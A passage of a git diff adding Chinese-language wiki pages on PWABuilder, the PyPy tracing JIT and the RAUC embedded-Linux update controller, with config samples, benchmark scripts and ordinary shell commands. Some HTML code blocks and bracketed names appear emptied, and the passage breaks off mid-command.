Bubblewrap)、iOS(Swift + WKWebView 壳)、Meta Quest 等包,避免为每个平台从零写壳工程。 +- **与微软生态对齐**:Edge、Windows、Microsoft Learn 培训模块都推荐 PWABuilder 作为 PWA 集成路径;企业内网站点转 Windows 商店应用时常见此工具链。 +- **开源可扩展**:Monorepo 内含网站、VS Code 扩展(PWA Studio)、文档站、manifest 校验库;社区可 PR 修 bug 或接新商店能力。 + +若你已在用 [[workbox]] 或 `vite-plugin-pwa` 手写 Service Worker,PWABuilder 并不替代它们——它更擅长 **评估、脚手架生成、商店打包** 这三段「最后一公里」。 + +## 核心概念 + +### 1. PWA 三要素(PWABuilder 的评分维度) + +| 要素 | 作用 | PWABuilder 中的位置 | +|------|------|---------------------| +| **Web App Manifest** | 告诉系统:应用名、图标、启动 URL、显示模式(standalone 等) | Manifest 编辑器 / 自动生成 `manifest.json` | +| **Service Worker** | 后台脚本:缓存静态资源、离线 fallback、推送等 | 预置 SW 模板(离线、推送、后台同步等) | +| **HTTPS** | 安全上下文;SW 与部分 PWA API 的硬性前提 | 分析 URL 时校验;本地开发可用 localhost 例外 | + +Microsoft Edge 文档指出:在部分平台上,**没有 Service Worker 也可能可安装**,但强烈建议配备 SW 以提升速度与离线可靠性——PWABuilder 的推荐流程仍会引导你生成 SW。 + +### 2. PWABuilder 工具家族 + +GitHub Monorepo `pwa-builder/PWABuilder` 不只是一个网站,而是一组工具: + +| 工具 | 用途 | +|------|------| +| **PWABuilder.com** | 在线分析、编辑 manifest、选 SW、下载基础包、`Package for stores` | +| **PWA Studio**(VS Code 扩展) | 在编辑器里创建/改进/打包 PWA,减少切浏览器 | +| **PWA Starter**(独立模板仓库) | 带 manifest + SW 的入门项目,适合从零新建 | +| **``** | Web Component,优化「添加到主屏幕」安装体验 | +| **docs.pwabuilder.com** | 各商店打包、推送、IAP 等长篇指南 | + +### 3. 典型工作流 + +```text +已有网站 URL + → pwabuilder.com 输入 URL,查看 Report Card + → 修补 Manifest(在线编辑或下载后部署) + → 选择预置 Service Worker 并下载 + → 将 manifest / sw / icons 部署到自己的 HTTPS 站点 + → 再次检测,确认可安装 + → Package for stores → 选平台 → 填元数据 → 下载包 + → 用商店后台 / Xcode / Partner Center 提交审核 +``` + +**注意**:在 pwabuilder.com 在线 Manifest 编辑器里改的字段 **不会自动写回你的服务器**;你必须把生成的 `manifest.json` 部署到自己的域名,否则用户安装的仍是旧元数据。 + +### 4. Manifest 字段优先级 + +PWABuilder 与 Microsoft 文档将字段分为: + +- **Required**:无 manifest、无 `name` / `short_name` / `start_url`、无图标 → 无法完成打包。 +- **Recommended**:`display`、`theme_color`、`description`、screenshots、maskable icon、shortcuts 等 → 强烈建议补全,影响安装体验与商店审核。 +- **Optional**:年龄分级、`related_applications` 等。 + +### 5. 商店打包的本质 + +对多数平台,PWABuilder 生成的是 **原生壳 + WebView 加载你的 PWA URL**(iOS 为 Swift + WKWebView;Android 常为 TWA)。你的业务逻辑仍在 Web 层迭代;壳负责签名、商店清单、部分原生能力(推送、IAP 需额外配置)。 + +iOS 打包在文档中标注为 **Experimental**:能否过审取决于 PWA 的 UI/UX 与是否使用推送、内购等原生能力,Apple 仍有人工审核裁量权。 + +## 实践案例 + +### 案例 1:从零给静态站点补上 Manifest 与 Service Worker 注册 + +假设你有一个部署在 `https://example.com` 的 SPA,尚无 PWA 文件。在 PWABuilder 生成 zip 后,典型集成如下。 + +**`manifest.json`(节选,可按 Report Card 补全 recommended 字段):** + +```json +{ + "name": "示例小店", + "short_name": "小店", + "description": "我的渐进式 Web 应用", + "start_url": "/", + "display": "standalone", + "background_color": "#ffffff", + "theme_color": "#0d47a1", + "icons": [ + { + "src": "/images/icons/icon-192.png", + "sizes": "192x192", + "type": "image/png", + "purpose": "any" + }, + { + "src": "/images/icons/icon-512-maskable.png", + "sizes": "512x512", + "type": "image/png", + "purpose": "maskable" + } + ] +} +``` + +**`index.html` 中挂载 manifest 并注册 PWABuilder 提供的 SW:** + +```html + + + + + + + + 示例小店 + + +
+ + + +``` + +部署后再次把 URL 丢进 PWABuilder,Manifest 与 Service Worker 分数应变绿;Lighthouse PWA 审计也会明显改善。 + +### 案例 2:用 `` 改善「安装到桌面」转化 + +PWABuilder 生态推荐的安装提示组件(npm 包 `@khmyznikov/pwa-install`)可在支持的浏览器里展示符合平台规范的安装 UI: + +```html + + + + + + + +``` + +逻辑要点: + +- 仅当浏览器判定站点 **可安装**(具备 manifest + SW + HTTPS 等)时,组件才应展示安装入口。 +- iOS Safari 的安装路径仍是「分享 → 添加到主屏幕」,组件会做能力检测与文案适配。 +- 与 PWABuilder 生成的 manifest 路径保持一致,避免组件读到的图标/名称与系统安装对话框不一致。 + +### 案例 3:命令行侧与 [[workbox]] 的分工(概念对比) + +若项目已用 Vite + `vite-plugin-pwa` 生成带 precache 的 Service Worker,**不必**再用 PWABuilder 的预置 SW 覆盖生产环境;更合理的分工是: + +1. 用 **Workbox / vite-plugin-pwa** 维护运行时缓存策略(precache、StaleWhileRevalidate 等)。 +2. 用 **PWABuilder.com** 做 manifest 合规检查、补图标尺寸、生成商店截图清单,并在发布前执行 **Package for stores**。 + +这样避免两套 SW 抢同一 `scope` 注册。 + +## 各平台打包速览 + +| 平台 | PWABuilder 产出 | 提交前常见额外步骤 | +|------|-----------------|-------------------| +| **Microsoft Store** | `.msix` 等 | Partner Center 应用身份、年龄分级 | +| **Google Play** | Android App Bundle(TWA) | Play Console、数字资产链接(Digital Asset Links)验证域名 | +| **Apple App Store** | Xcode 工程(Swift 壳) | Apple Developer 账号、证书、Provisioning Profile、`pod install` | +| **Meta Quest** | 适配 VR 商店的包 | 按文档配置沉浸式/控制器能力 | + +iOS 路径在 docs.pwabuilder.com 有逐步说明:解压包 → `src` 目录 `pod install` → 打开 **`.xcworkspace`**(不是 `.xcodeproj`)→ Xcode 构建与 Archive 上传。 + +## 常见问题 + +**Q:只有 manifest,没有 Service Worker,算 PWA 吗?** +A:部分浏览器仍可能提供「安装」入口,但离线能力与更新策略会受限。PWABuilder 与 Edge 文档均建议两者兼备。 + +**Q:在线改的 manifest 为什么没生效?** +A:编辑器改动只影响你**下载的包**或本地草稿;必须将 `manifest.json` 部署到线上 HTTPS 路径,并确保 HTML 的 `` 指向正确 URL。 + +**Q:和 Capacitor / React Native 有何不同?** +A:Capacitor 等是把 Web 资产打进原生容器并暴露大量原生插件 API;PWABuilder 更轻,主打 **PWA 标准 + 商店壳**,适合以 Web 为主、原生定制较少的场景。 + +**Q:内购和推送能做吗?** +A:iOS 上推送需 Firebase Cloud Messaging + 修改 AppDelegate 中 PWABuilder 标记的 TODO;StoreKit 2 内购需参考官方示例仓库与博客,属于「实验性高级话题」,非开箱即用。 + +## 学习路径(零基础) + +1. **10 分钟**:读 MDN [Progressive Web Apps](https://developer.mozilla.org/zh-CN/docs/Web/Progressive_web_apps) 概览,建立 manifest / SW / 可安装性概念。 +2. **30 分钟**:拿一个自己的 HTTPS 站点 URL 跑一遍 pwabuilder.com,对照 Report Card 记下缺项。 +3. **1 小时**:按案例 1 部署 manifest + SW,用 Chrome DevTools → Application 面板检查 Manifest 与 Service Worker 状态。 +4. **半天**:跟 Microsoft Learn 模块 [Integrate your project with PWABuilder](https://learn.microsoft.com/en-us/training/modules/integrate-with-pwabuilder/) 做实验。 +5. **按需深入**:选定一个目标商店,精读 docs.pwabuilder.com 对应打包文档;若缓存策略复杂,并行学习 [[workbox]]。 + +## 相关链接 + +- 官网与检测入口:[https://www.pwabuilder.com/](https://www.pwabuilder.com/) +- 源码 Monorepo:[https://github.com/pwa-builder/PWABuilder](https://github.com/pwa-builder/PWABuilder) +- 文档站:[https://docs.pwabuilder.com/](https://docs.pwabuilder.com/) +- PWA Starter 模板:[https://github.com/pwa-builder/pwa-starter](https://github.com/pwa-builder/pwa-starter) +- VS Code 扩展 PWA Studio:[Marketplace 页面](https://marketplace.visualstudio.com/items?itemName=PWABuilder.pwa-studio) +- 博客(转换指南、IAP 等):[https://blog.pwabuilder.com/](https://blog.pwabuilder.com/) diff --git a/src/content/docs/projects/pypy.md b/src/content/docs/projects/pypy.md new file mode 100644 index 000000000..313a4717f --- /dev/null +++ b/src/content/docs/projects/pypy.md @@ -0,0 +1,263 @@ +--- +title: PyPy — RPython 写的 Python JIT +来源: https://github.com/pypy/pypy +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**PyPy** 是 [pypy/pypy](https://github.com/pypy/pypy) 维护的 **Python 语言替代实现**,核心卖点不是「又一个解释器」,而是自带 **Tracing JIT(跟踪式即时编译器)**,在 CPU 密集的纯 Python 循环上常常比官方 **CPython** 快 **数倍到数十倍**。整个项目的主体用 **RPython**(Restricted Python,受限 Python 子集)写成,再经 **翻译工具链(translation toolchain)** 自动降到 C,并在翻译阶段**生成** JIT,而不是手写一份与解释器平行的汇编后端。 + +日常类比:如果把 **CPython** 想成一家**中央厨房**——每道菜(每条字节码)都按固定菜谱一步步手工炒(解释执行),那 **PyPy** 更像带**品控摄像头的连锁厨房**: + +- **解释器(interpreter)** 是标准流水线厨师,照常按字节码炒菜; +- **Profiler** 像店长数客流:哪道「用户菜」(app-level 循环)被点了又点,就标成 **hot loop(热循环)**; +- **Tracing** 像跟拍一整轮出菜过程:不是只拍一个 opcode,而是把「解释器连续执行多条用户字节码」的轨迹录下来; +- **JIT 编译器** 像深夜加班的配方研发部:把录像剪成「用户语言层面的循环」,优化后烙成 **机器码**,下次同样路径直接上铁板烧; +- **Guard(守卫)** 像每步前的尝味:假设「这个变量一直是 `int`」「这个列表长度不变」——一旦假设破了,立刻 **deoptimize(去优化)** 回解释器,保证语义仍与 CPython 一致。 + +关键反直觉点:**PyPy 团队并没有手写「Python 专用 JIT」**。他们写的是 **用 RPython 实现的 Python 解释器**,翻译器读少量 **JIT hints(提示)**,在构建期**自动生成**与解释器语义绑定的 JIT。解释器改了,JIT 跟着重生,不会两套代码各改各的——这是 PyPy 相对早期 **Psyco**(单函数 JIT 扩展)和手写 TraceMonkey 类 JIT 的架构差异。 + +## 为什么重要 + +不懂 PyPy,下面这些话题很难讲透: + +- **「Python 很慢」到底慢在哪**——CPython 字节码解释 + 动态类型每次都要查;PyPy 把热路径编译成假设明确的机器码 +- **为什么科学计算仍推荐 CPython + NumPy**——热点在 C 扩展里,PyPy 的 JIT 帮不上忙;且 **C API 扩展(cpyext)** 在 PyPy 上有额外桥接成本 +- **Tracing JIT 和 HotSpot「按方法编译」有何不同**——PyPy 以**实际执行轨迹**为单元,天然内联一串 opcode,而不是先按函数边界切 +- **RPython 是什么**——不是给用户写业务代码的方言,而是**写虚拟机、再翻译成 C** 的实现语言;PyPy 自己是「用 Python 子集写 Python」的元循环 +- **JIT 如何不破坏 `pdb`、traceback、完整语义**——`jit_merge_point` 等退出点保证随时可 bail 回解释器 + +## 核心概念 + +### 1. Python 实现谱系中的位置 + +| 实现 | 语言 | 执行模型 | 典型场景 | +|------|------|----------|----------| +| **CPython** | C | 字节码解释器 + 可选特化(3.11+) | 默认生态、C 扩展 | +| **PyPy** | RPython → C + 生成 JIT | 解释 + tracing JIT | CPU 密集纯 Python、长时间跑的服务 | +| **GraalPy** | Java / Truffle | Truffle JIT + Polyglot | JVM 内嵌 Python | +| **MicroPython** | C | 裁剪解释器 | MCU | + +说「换 PyPy 就全面更快」是误区;说「 tight loop 的纯 Python 在 PyPy 上经常快一个数量级」则有大量基准支撑。 + +### 2. RPython:写解释器的 Python 子集 + +**RPython** 不是给应用开发者用的第二门 Python,而是 **PyPy 翻译器能静态分析、类型推断并降到 C 的受限子集**。特征包括: + +- 变量类型在 **控制流合并点** 上必须能推断一致; +- 容器、函数一等公民,但避免过度动态(翻译期需能落地成 C 结构); +- 整个 **Python 解释器**(对象模型、字节码 dispatch、GC)用 RPython 描述,再 **translate** 成 C 程序。 + +用户写的普通 Python 脚本 **不会** 被 RPython 翻译;它们仍由生成好的 VM 解释 / JIT。RPython 面向的是 **VM 实现者**。 + +### 3. 翻译工具链(translation toolchain) + +高层流程: + +``` +RPython 源码(含解释器 + stdlib 移植) + ▼ 类型推断、限制检查 + ▼ RPython → C(或 JVM/CLI 等后端,常用 C) + ▼ 可选:JIT 生成 pass(apply_jit / warmspot) + ▼ 链接 → pypy3 可执行文件 +``` + +翻译一次耗时很长(小时级),产出是 **独立二进制**,部署时不需要宿主 CPython。PyPy 自带兼容层跑大部分纯 Python 与 **cffi / ctypes**;依赖 **C API** 的扩展需 **PyPy 专用 wheel** 或接受较慢的 cpyext。 + +### 4. Meta-Tracing JIT:跟踪解释器,而非只跟踪用户字节码 + +PyPy 的 JIT 属于 **meta-tracing**:记录的是 **RPython 写的解释器** 在执行用户程序时的操作序列,再通过 **promotion / 虚拟化** 把解释器栈上的操作 **提升** 成用户级循环的机器码。 + +经典两提示(概念名,具体 API 在 `pypy/interpreter` 与 `interp_jit` 一带): + +| Hint | 作用 | 在 CPython 字节码模型中的直觉位置 | +|------|------|-----------------------------------| +| **`jit_merge_point`** | JIT 可安全 **退回解释器** 的合并点 | 字节码分派循环入口 | +| **`can_enter_jit`** | 标记 **用户级循环头**,可进入 JIT | 如 `JUMP_ABSOLUTE` 跳回循环顶 | + +**Green 变量**(循环常量):在一次用户指令执行中不变,例如 `pc`、当前 `code object`、字节码数组——相同 green 组合再次出现 ⇒ 可能处于同一 **用户循环**。 + +**Red 变量**(循环变量):被用户程序改变的数据,如操作数栈上的值、局部变量。 + +Tracing 启动后,解释器进入 **tracing mode**,记录操作;当 green 状态与 trace 起点匹配,闭合成环 ⇒ 优化 ⇒ 汇编 ⇒ 后续迭代跑机器码。机器码里布满 **guard**;失败则回解释路径,必要时 **side exit** 再 **bridge** 新 trace。 + +### 5. 与 Method JIT(如 HotSpot C2)的对比 + +| 维度 | Method JIT | PyPy Tracing JIT | +|------|------------|------------------| +| 编译单元 | 函数 / 方法 | 热 **trace**(实际跑过的路径) | +| 内联 | 需显式启发式 | trace 自然串起多 opcode | +| 去优化 | 罕见路径 deopt | guard 失败即回解释器 | +| 维护 | JIT 与 VM 常分离 | **翻译期生成**,与解释器同步 | + +### 6. 性能与边界 + +**通常更快:** + +- 纯 Python 数值循环、递归、字符串处理(无 C 扩展热点) +- 长时间运行的 Web worker、批处理脚本、模拟器 + +**未必更快甚至更慢:** + +- 重度 **NumPy / PyTorch / pandas C 扩展** 工作负载 +- 短进程 CLI(JIT **预热** 来不及) +- 个别 CPython 微优化路径或依赖 CPython 内部行为的黑客代码 + +官方与社区经验:常见 **4×–10×** 加速,极端 tight loop 更高;I/O 密集差异小。PyPy 也有 **GIL**(与 CPython 类似的多线程模型),多进程扩展仍适用。 + +### 7. 生态与兼容性 + +- **Python 版本**:跟踪 CPython 特性节奏(如 3.10+),具体以发行说明为准 +- **pip**:一般可用;**带 C 扩展的包** 需查是否提供 `pp*` 标签 wheel +- **cffi** 在 PyPy 上往往比老式 **ctypes / cpyext** 更舒服 +- **调试**:完全兼容有成本;生产路径优先性能 + +## 架构一图 + +``` +用户 .py + ▼ +PyPy 字节码解释器(RPython 实现,已翻译为 C) + ├─ 冷路径:逐 opcode 解释 + └─ 热路径:can_enter_jit → trace → optimize → 机器码 + │ │ + │ guard 失败 │ jit_merge_point + └──────── deopt ───────┘ 回解释器 +``` + +## 代码示例 + +### 示例 1:感受 PyPy 对 tight loop 的加速 + +保存为 `bench_loop.py`,分别用 `python3` 与 `pypy3` 运行(需先安装 [PyPy 发行版](https://pypy.org/download.html)): + +```python +"""纯 Python 累加 — 典型 PyPy 甜点负载。""" +import sys +import time + +def sum_squares(n: int) -> int: + total = 0 + for i in range(n): + total += i * i + return total + +def main() -> None: + n = 5_000_000 + # 预热:给 JIT 一次编译热循环的机会 + sum_squares(1000) + + t0 = time.perf_counter() + result = sum_squares(n) + elapsed = time.perf_counter() - t0 + + print(f"implementation: {sys.implementation.name}") + print(f"version: {sys.version.split()[0]}") + print(f"result mod 1e9: {result % 1_000_000_000}") + print(f"elapsed: {elapsed:.3f}s") + +if __name__ == "__main__": + main() +``` + +典型现象(因 CPU 而异):**第二次起 PyPy 明显快于 CPython**;CPython 时间近似线性,PyPy 在预热后斜率更陡。短脚本只跑一次时,JIT 编译成本可能吃掉收益——对 **长驻进程** 更划算。 + +命令行对比: + +```bash +python3 bench_loop.py +pypy3 bench_loop.py +``` + +### 示例 2:用 `dis` 看清「用户循环」在字节码层长什么样 + +PyPy JIT 的 **can_enter_jit** 锚点对应用户循环头;理解字节码有助于理解「trace 录的是什么」: + +```python +import dis + +def dot(a: list[float], b: list[float]) -> float: + s = 0.0 + for i in range(len(a)): + s += a[i] * b[i] + return s + +print("=== dot 字节码(CPython / PyPy 同一套 compile 语义)===") +dis.dis(dot) + +a = [float(x) for x in range(1000)] +b = [float(x * 2) for x in range(1000)] +assert dot(a, b) == sum(x * (x * 2) for x in range(1000)) +print("ok:", dot(a, b)) +``` + +在 CPython 上你会看到 `JUMP_BACKWARD`(3.11+)或 `JUMP_ABSOLUTE` 跳回循环顶——这正是「用户级回边」。PyPy 解释器执行到这类回边且循环够热时,meta-tracer 会尝试 **展开字节码分派**,把多次 opcode 合成 **一条用户级 trace**,再生成机器码。纯 `list` 下标在 trace 里可能因 **类型稳定** 而去掉部分动态查找;若某次 `a[i]` 变成非 float 列表,**guard 失败** 回解释器。 + +### 示例 3:何时不该指望 PyPy(NumPy 热点在 C 里) + +```python +import sys +import time + +def numpy_heavy(): + import numpy as np + x = np.random.randn(2_000_000) + return float((x * x).sum()) + +if __name__ == "__main__": + t0 = time.perf_counter() + r = numpy_heavy() + print(sys.implementation.name, "numpy sum:", r, "time:", time.perf_counter() - t0) +``` + +此例热点在 **NumPy 的 C/Fortran 内核**,不在 Python 字节码循环。PyPy 与 CPython 差距往往不大,有时因 **cpyext / 桥接** PyPy 更慢。选运行时要看 **profiler 热点在哪一层**。 + +## 安装与使用 + +```bash +# macOS / Linux 常见:下载预编译 PyPy3 +# https://pypy.org/download.html + +pypy3 -m venv .venv-pypy +source .venv-pypy/bin/activate +pip install -U pip wheel +pip install httpx pydantic # 纯 Python / 有 pp wheel 的包 + +pypy3 -c "import sys; print(sys.implementation)" +``` + +开发 **PyPy 本身**(翻译 VM)是另一条深坑:clone 仓库、安装依赖、`python translate.py targetpypystandalone` 等,见官方 [dev docs](https://doc.pypy.org/en/latest/)。零基础用户先会 **用 pypy3 跑服务** 即可。 + +## 与周边项目的关系 + +| 项目 | 关系 | +|------|------| +| **[[cpython]]** | 语义基准;PyPy 追求兼容,细节差异见发行说明 | +| **Psyco** | 早期 CPython 扩展式 JIT;PyPy 团队经验演化为 meta-tracing | +| **[[graalvm]]** / GraalPy | 另一套「写 Truffle 解释器 + JVM JIT」路线 | +| **Cython / Numba** | 把热点降到 C/LLVM;与 PyPy「全自动 JIT 纯 Python」互补 | +| **cffi** | PyPy 上推荐的 C 互操作方式之一 | + +## 常见误区 + +1. **「PyPy 是 Python 语法超集」**——用户代码仍是标准 Python;RPython 只属于 VM 源码 +2. **「装 PyPy 就能让 NumPy 更快」**——除非瓶颈在纯 Python 包装层,否则未必 +3. **「JIT 等于没有解释器」**——冷代码、guard 失败、调试路径仍走解释器 +4. **「Tracing JIT 会编译死循环第一次迭代」**——有热度阈值;只跑一次的循环可能永远不 JIT +5. **「与 CPython 100% 相同」**——极边缘反射、内部 API、`id` 时机等可能有差异;关键业务要测 + +## 学习路径建议 + +1. **会用**:下载 PyPy,对现有纯 Python 服务做 A/B 基准(含预热) +2. **会判**:`cProfile` / `py-spy` 看热点在 Python 还是 C 扩展 +3. **会读**:RPython 文档 [JIT overview](https://rpython.readthedocs.io/en/latest/jit/overview.html)、AOSA PyPy 章节 +4. **会挖**:`pypy/interpreter/pyopcode.py`、`module/pypyjit` 中的 hint;对比 `Python/ceval.c` +5. **会扩展**:若做新语言 VM,了解 meta-tracing 与 **RPython 翻译器** 是否适合你的语义 + +## 小结 + +PyPy 证明了一条独特路线:**用 RPython 写 Python 解释器,翻译成 C 时自动生成 tracing JIT**,让热循环从字节码解释跃迁到带 guard 的机器码,同时保持与 CPython 接近的语义。零基础记住三句话:**用户跑的是普通 Python;快的是长时间纯 Python 热点;C 扩展主导时请仍用 CPython 或把热点降到 native**。把 PyPy 当成「会看客流、能把常点套餐烙成铁板烧的连锁厨房」,再对照 **CPython 中央厨房** 与 **GraalVM 机场枢纽**,整个 Python 实现版图就清晰了。 diff --git a/src/content/docs/projects/rauc.md b/src/content/docs/projects/rauc.md new file mode 100644 index 000000000..95eee01d5 --- /dev/null +++ b/src/content/docs/projects/rauc.md @@ -0,0 +1,356 @@ +--- +title: RAUC — 嵌入式 Linux 的稳健自动更新控制器 +来源: https://github.com/rauc/rauc +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 日常类比:给设备换「整箱备件」,而不是现场焊接 + +想象你在维护一批工业网关,每台跑 Linux,偶尔要换整系统、内核或应用分区。最糟糕的做法是 SSH 进去 `dd` 覆盖正在运行的 rootfs——中途断电就可能变砖。更稳妥的做法像 **飞机换发动机模块**: + +| 现实世界 | RAUC 对应 | +| --- | --- | +| 主跑道 + 备降跑道 | **Slot**(A/B rootfs 分区) | +| 整箱发动机(已质检、已封条) | **Bundle**(`.raucb` 更新包) | +| 质检封条与签收单 | **X.509 签名**(强制验签) | +| 塔台指挥「下次从 B 起飞」 | **Bootloader**(U-Boot / GRUB / Barebox bootchooser) | +| 试飞成功签字 | `rauc status mark-good`(commit 启动) | +| 试飞失败回主跑道 | `mark-bad` + bootloader **回滚** | +| 货运清单 | `manifest.raucm`(镜像 → slot 映射) | +| 机务手册 | `/etc/rauc/system.conf`(本机分区布局) | + +**RAUC**(Robust Auto-Update Controller,稳健自动更新控制器)由 [Pengutronix](https://www.pengutronix.de/) 主导,仓库 [rauc/rauc](https://github.com/rauc/rauc)(LGPL-2.1)。它 **不是** 完整的 OTA 云平台,也 **不是** 带 GUI 的升级应用——而是跑在设备上的 **更新客户端 + 宿主机打包工具**,通过 **D-Bus** 和 CLI 供你的应用、产线脚本或 `rauc-hawkbit-updater` 等桥接器调用。 + +典型场景:Yocto/Buildroot 构建的嵌入式 Linux、工控机、车载边缘节点、IoT 网关——需要 **原子、可回滚、可签名** 的镜像级 OTA 时,RAUC 是业界常见选型之一(与 Mender、swupdate 等同赛道)。 + +--- + +## 解决什么问题 + +| 痛点 | 裸脚本 OTA | RAUC 的回应 | +| --- | --- | --- | +| 升级中途断电变砖 | 原地覆盖 active 分区 | 只写 **inactive slot**,写完再切换启动 | +| 包被篡改 | 无验签 | **强制签名**;keyring 验签后才安装 | +| 分区布局各异 | 每台手写 `dd` 路径 | `system.conf` 抽象 slot,manifest 按 **class** 映射 | +| 多镜像一次更新 | rootfs + boot + app 各搞一套 | 一个 bundle 多 image,原子安装 | +| 与构建链割裂 | 手搓 squashfs | **meta-rauc**(Yocto)、Buildroot、PTXdist 集成 | +| 应用只想触发升级 | 自己 fork 子进程 | **D-Bus API** + `rauc install` | + +核心问题:**如何在嵌入式 Linux 上,用镜像方式安全、确定地把「目标整机状态」装进去,并在启动失败时回到可用旧版本?** + +--- + +## 架构一览 + +``` +┌──────────────────────────────────────────────────────────────────┐ +│ 构建主机(CI / Yocto native / 工作站) │ +│ rootfs.ext4 + manifest.raucm ──► rauc bundle ──► *.raucb │ +│ (SquashFS 封装 + 签名) │ +└────────────────────────────┬─────────────────────────────────────┘ + │ USB / HTTPS / hawkBit / 自研下发 + ▼ +┌──────────────────────────────────────────────────────────────────┐ +│ 目标设备:rauc 服务(systemd + D-Bus) │ +│ · 验签 · 选 inactive slot · 写镜像 · 改 bootloader 变量 │ +│ · reboot · mark-good / mark-bad │ +│ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ +│ │ rootfs.0 A │ │ rootfs.1 B │ │ /data │ ← 状态、配置 │ +│ │ (active) │ │ (inactive) │ │ │ │ +│ └────────────┘ └────────────┘ └────────────┘ │ +│ Bootloader:bootname / bootchooser / U-Boot env │ +└──────────────────────────────────────────────────────────────────┘ +``` + +RAUC 是 **镜像导向**(image-based)的更新器:主要把 ext4、vfat、UBI 镜像或 tar 归档写到 slot;也支持 **HTTP(S) 流式安装**(verity bundle,无需先落盘整包)。 + +--- + +## 核心概念 + +### 1. Bundle(更新包) + +Bundle 是 RAUC 自有格式:内含 **SquashFS** 封装的镜像/脚本 + **manifest.raucm**(元数据)。manifest 声明: + +- `compatible`:必须与目标 `system.conf` 一致,否则拒绝安装; +- `version`:人类可读版本号; +- 每个 `[image.]`:文件名、哈希、目标 slot class。 + +**签名是强制的**——开发可用自签证书,量产应接入 PKI。Bundle 应 **无歧义描述整机目标状态**,而不是零散文件搬运箱。 + +### 2. Slot(可更新槽位) + +在 RAUC 里,**任何可更新的分区、整盘或 UBI volume 都是一个 slot**。配置写在 `system.conf`,section 名为 `[slot..]`,例如 `rootfs.0`、`rootfs.1`。 + +- **class**(如 `rootfs`):同类冗余槽位;manifest 里写 `[image.rootfs]` 即指向该 class; +- **index**:同类中的第几块(0、1…支持 A/B/C 多冗余); +- **bootname**:bootloader 侧识别名(如 U-Boot 的 `A`/`B`); +- **parent**:子 slot(如 boot 分区)可挂在某个 rootfs slot 的 group 上,保证 **根文件系统与应用分区成组切换**。 + +### 3. Slot 选择与「只写空闲槽」 + +安装时 RAUC 必须 **只写 inactive slot**,绝不能覆盖当前正在运行的 active 分区。算法概要: + +1. 从内核 cmdline 或挂载信息检测 **当前 booted slot**; +2. 同 class 下其余 slot 视为 inactive; +3. 在等价 inactive **slot group** 中选一组(默认可按安装时间戳选最旧,便于 A/B/C); +4. 将 bundle 里各 image 映射到该组的对应 slot。 + +### 4. Boot 确认与回滚 + +写完镜像 ≠ 升级成功。标准流程: + +1. 安装前:bootloader 侧 **禁用** 待写 slot 的启动优先级; +2. 写入 inactive slot,校验 SHA-256; +3. 设置下次从新区启动,**reboot**; +4. 新系统起来后执行 `rauc status mark-good`(或集成在启动脚本里)→ bootloader 记为成功启动; +5. 若 watchdog 复位、自检失败或 `mark-bad` → bootloader **回滚**到旧 slot。 + +这与 [[mender]] 的 commit/rollback 心智模型一致,但 RAUC 更偏 **框架 + 配置**,部署服务器需另选(hawkBit、自研 HTTP 等)。 + +### 5. Update Handler(镜像如何落盘) + +不同存储(eMMC GPT、raw NAND、UBI、NOR flash)和不同镜像格式(ext4 镜像、tar 归档)由 **handler** 匹配表选择写入方式。slot 的 `type=` 与镜像扩展名共同决定 handler。 + +### 6. Hooks 与 Handlers + +| 类型 | 位置 | 用途 | +| --- | --- | --- | +| **Handler** | 目标机 `system.conf` | 系统级:装后脚本、信息提供者 | +| **Hook** | bundle 内、manifest 声明 | 包级:某次更新的迁移、特殊逻辑 | + +### 7. Artifact Repository(非 slot 组件) + +容器镜像、大模型权重、MCU 固件等 **不宜占双份 rootfs 空间** 的内容,可配置为 **artifact repository**(按名替换、只读使用),与 slot 模型互补。 + +### 8. 与构建系统集成 + +生产环境几乎总是通过 **Yocto meta-rauc**、**Buildroot** 或 **PTXdist** 集成:镜像阶段写入 `system.conf`、分区表(`.wks`)、U-Boot env、fstab。主机侧用 **rauc-native** 或 `bundle.bbclass` 产出 `.raucb`。 + +--- + +## 代码示例 + +### 示例 1:目标机 `system.conf`(A/B rootfs + U-Boot) + +设备上通常位于 `/etc/rauc/system.conf`(优先级:`/etc/rauc/` > `/run/rauc/` > `/usr/lib/rauc/`): + +```ini +[system] +compatible=MyBoard imx8-evk +bootloader=uboot +mountprefix=/mnt/rauc +activate-installed=true + +[keyring] +path=/etc/rauc/ca.cert.pem + +[slot.rootfs.0] +device=/dev/disk/by-partlabel/rootfsA +type=ext4 +bootname=A +allow-mounted=true +readonly=true + +[slot.rootfs.1] +device=/dev/disk/by-partlabel/rootfsB +type=ext4 +bootname=B +allow-mounted=true +readonly=true + +[slot.boot.0] +device=/dev/disk/by-partlabel/bootA +type=vfat +parent=rootfs.0 + +[slot.boot.1] +device=/dev/disk/by-partlabel/bootB +type=vfat +parent=rootfs.1 +``` + +**要点**: + +- `compatible` 必须与 bundle manifest 完全一致,防止把错误硬件的镜像推上去; +- `bootname` 与 U-Boot `bootloader` 变量联动;Barebox 常用 **bootchooser**; +- `parent=` 把 boot 分区与 rootfs **绑成一组**,更新时 A 组或 B 组整体切换; +- `readonly=true` + `allow-mounted=true` 允许从只读挂载的 active rootfs 旁路更新 inactive 分区。 + +安装后标记启动成功(常放在 systemd oneshot 或应用自检通过后): + +```bash +rauc status mark-good +# 若自检失败: rauc status mark-bad +``` + +查看当前 slot 与版本: + +```bash +rauc status +rauc info /path/to/update.raucb +``` + +### 示例 2:构建 bundle(manifest + `rauc bundle`) + +在构建主机上准备目录 `input-bundle/`: + +```text +input-bundle/ +├── manifest.raucm +├── rootfs.img # ext4 镜像 +└── imx-boot.img # 可选 boot 分区镜像 +``` + +`manifest.raucm` 示例: + +```ini +[update] +compatible=MyBoard imx8-evk +version=2026.06.13-1 +description=Monthly security + kernel bump + +[bundle] +format=verity + +[image.rootfs] +filename=rootfs.img + +[image.boot] +filename=imx-boot.img +``` + +使用开发证书签名并打包(宿主机已安装 `rauc` 或 Yocto `rauc-native`): + +```bash +rauc bundle \ + --cert=openssl-ca/dev/development-1.cert.pem \ + --key=openssl-ca/dev/private/development-1.key.pem \ + input-bundle/ \ + deploy/update-2026.06.13-1.raucb +``` + +**参数说明**: + +- `input-bundle/` 内 **所有文件** 都会打进 SquashFS,不只 manifest 列出的; +- `format=verity` 支持 **HTTP(S) 流式安装**(需内核 NBD、服务端 Range 请求); +- 输出 `.raucb` 拷到设备或通过 URL 安装: + +```bash +# 本地安装 +rauc install 